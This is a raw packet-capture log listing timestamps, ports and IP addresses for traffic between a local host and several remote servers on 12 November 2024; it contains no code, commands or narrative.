Nov 12, 2024 13:35:40.425559998 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.425641060 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.425641060 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.425647974 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.426201105 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.426220894 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.426306963 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.426306963 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.426312923 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.426353931 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.462887049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.462901115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.462913990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.462966919 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.462984085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.463000059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.463018894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.463032007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.463033915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.463033915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.463042974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.463097095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.463097095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.509984016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.509998083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.510008097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.510030985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.510060072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530395985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530468941 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530591011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530601978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530632973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530647039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530648947 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530658007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530668974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530680895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530688047 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530749083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530860901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530872107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530881882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530894995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530906916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530917883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530930042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530934095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530934095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530939102 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530946970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.530950069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.530988932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531157970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531167984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531213045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531241894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531254053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531264067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531274080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531276941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531295061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531306982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531321049 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531321049 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531322956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531336069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531346083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531399965 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531500101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531512022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531524897 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531528950 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531536102 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531543970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531548023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531564951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531565905 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531578064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531586885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531598091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531605005 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531626940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531646967 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531723022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531734943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531788111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531788111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531882048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531893015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531903028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531914949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531924963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531938076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531939030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531939030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531949043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531960011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531970024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531980991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.531982899 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.531992912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532001019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532001019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532030106 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532299995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532310963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532321930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532330990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532342911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532354116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532354116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532366037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532377958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532382965 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532388926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532397032 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532413960 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532432079 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532608986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532620907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532630920 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532641888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532653093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532663107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532672882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532685041 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532685041 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532691956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532696009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532706022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532713890 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532737970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532752037 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532876015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.532974958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.532999039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533010960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533021927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533032894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533045053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533056021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533072948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533072948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533072948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533083916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533094883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533103943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533113003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533113956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533126116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533132076 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533138037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533148050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533159018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533164024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533164024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533168077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533180952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533190966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533196926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533205986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533205986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533258915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533464909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533514977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533515930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533529997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533564091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533564091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533602953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533615112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533626080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533637047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533659935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533674955 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533828020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533838987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533849001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533860922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533871889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533883095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533894062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533902884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533902884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533902884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533910990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533921957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.533934116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.533986092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534101963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534111977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534137964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534142971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534159899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534172058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534172058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534183025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534183979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534194946 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534205914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534214973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534224033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534234047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534235001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534235001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534245968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534259081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534281015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534281015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534301043 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534543037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534554005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534564018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534578085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534588099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534595966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534629107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534629107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534672022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534683943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534696102 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534718037 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534729004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534869909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534881115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534889936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534902096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534910917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534923077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534928083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534934044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534945965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534956932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534967899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534970999 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534970999 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534977913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.534989119 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.534990072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535000086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535018921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535024881 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535031080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535043955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535053015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535092115 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535092115 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535567045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535586119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535597086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535607100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535613060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535618067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535629988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535641909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535653114 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535665035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535670996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535670996 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535670996 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535671949 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535689116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535701036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535711050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535722017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535732985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535738945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535738945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535744905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535748005 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535756111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535767078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535778046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.535789013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535818100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.535818100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.543931007 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.543951988 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.544004917 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.544018984 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.544102907 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.544102907 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.544548988 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.544564009 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.544599056 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.544604063 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.544632912 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.544651985 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.544974089 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.544990063 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.545049906 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.545053959 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.545082092 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.545094013 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.545608044 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.545624018 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.545674086 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.545679092 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.545717001 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.580312014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.580339909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.580351114 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.580418110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.580418110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.580452919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.580463886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.580476046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.580487967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.580506086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.580508947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.580550909 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.580550909 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.585815907 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.585840940 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.585881948 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.585894108 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.585921049 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.585937977 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.627490044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.627516031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.627526999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.627547026 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.627568960 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.647701025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647722960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647733927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647787094 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.647787094 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.647866011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647876024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647885084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647897005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647907019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647927999 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.647927999 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.647969007 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.647972107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.647989035 CET	443	62209	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.648016930 CET	51556	80	192.168.2.6	185.215.113.206
